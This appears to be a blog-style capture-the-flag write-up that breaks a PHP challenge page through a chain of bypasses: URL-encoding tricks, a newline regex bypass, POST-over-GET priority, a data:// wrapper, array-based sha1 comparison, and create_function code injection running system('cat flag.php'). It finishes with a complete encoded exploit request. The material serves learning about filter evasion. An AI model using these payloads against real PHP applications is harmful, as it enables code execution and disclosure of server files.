Bypassing PHP Security Filters with Encoding and Request Manipulation

PHP applications often implement multilpe layers of security filters that require creative bypass techniques. This analysis examines various PHP filter evasion methods including URL encoding, newline injection, and request priority manipulation.

Initial Code Analysis

The target application begins with source code inspection:

<?php
highlight_file(__FILE__);
error_reporting(0);

$target_file = "1nD3x.php";
$user_input1 = $_GET['shana'];
$user_input2 = $_GET['passwd'];
$parameter1 = '';
$parameter2 = '';

echo "<br /><font color=red><B>This challenge requires bypassing multiple security checks</B><br></font>";

if($_SERVER) { 
    if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))
        die('Security violation detected'); 
}

URL Encoding Bypass

PHP automatically URL-decodes GET parameters while $_SERVER['QUERY_STRING'] contains the raw encoded string. This discrepancy enables filter evasion:

def url_encode_payload(text):
    encoded = ''
    for char in text:
        if char in "=&[];//":
            encoded += char
        else:
            encoded += "%" + format(ord(char), '02x')
    return encoded

original = "debu=aqua_is_cute"
encoded = url_encode_payload(original)
print(encoded)  # %64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65

Newline Injection for Regex Bypass

The application checks for exact string matching:

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $target_file = $_GET["file"]; 
        echo "Filter bypassed<br>";
    }
}

Without the /s modifier, the regex ^aqua_is_cute$ doesn't match newlines. Appending %0a (URL-encoded newline) satisfies the regex while failing the strict comparison:

http://target/1nD3x.php?debu=aqua_is_cute%0a

POST Request Priority Exploitation

PHP's $_REQUEST superglobal combines GET, POST, and COOKIE data with POST taking precedence:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('Alphabetic characters prohibited'); 
    } 
}

Using POST to override GET parameters with numeric values:

GET: debu=aqua_is_cute%0a
POST: debu=1

File Content Validation Bypass

The application validates file contents:

if (file_get_contents($target_file) !== 'debu_debu_aqua')
    die("Invalid file content<br>");

Using PHP data protocol witth encoded content:

file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

SHA1 Array Comparison Bypass

PHP's loose typing enables array-based SHA1 collision:

if (sha1($user_input1) === sha1($user_input2) && $user_input1 != $user_input2){
    extract($_GET["flag"]);
    echo "SHA1 collision achieved<br>";
}

Passing arrays causes SHA1 to return NULL, satisfying the condition:

shana[]=1&passwd[]=2

Function Injection via create_function

The final filter blocks dangerous functions:

if(preg_match('/^[a-z0-9]*$/isD', $parameter2) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $parameter1)) { 
    die("Dangerous functions blocked"); 
} else { 
    include "flag.php";
    $parameter2('', $parameter1); 
}

Using create_function for code injection:

$injection = create_function('$a, $b', 'return $a+$b;} system("cat flag.php");//');

Equivalent to:

function injected($a, $b) {
    return $a+$b;
}
system("cat flag.php");//}

Complete Exploitation Chain

Combining all techniques:

GET: %64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
     &file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
     &%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32
     &%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
     &%66%6c%61%67[%63%6f%64%65]=create_function

POST: debu=1&file=2

The bitwise NOT operator ~ encodes php://filter/convert.base64-encode/resource=rea1fl4g.php to bypass character filters. Base64 decoding the response reveals the flag location and contents.

Tags: PHP Security Filter Bypass URL Encoding code injection CTF

Posted on Wed, 12 Aug 2026 16:54:29 +0000 by wholetthe15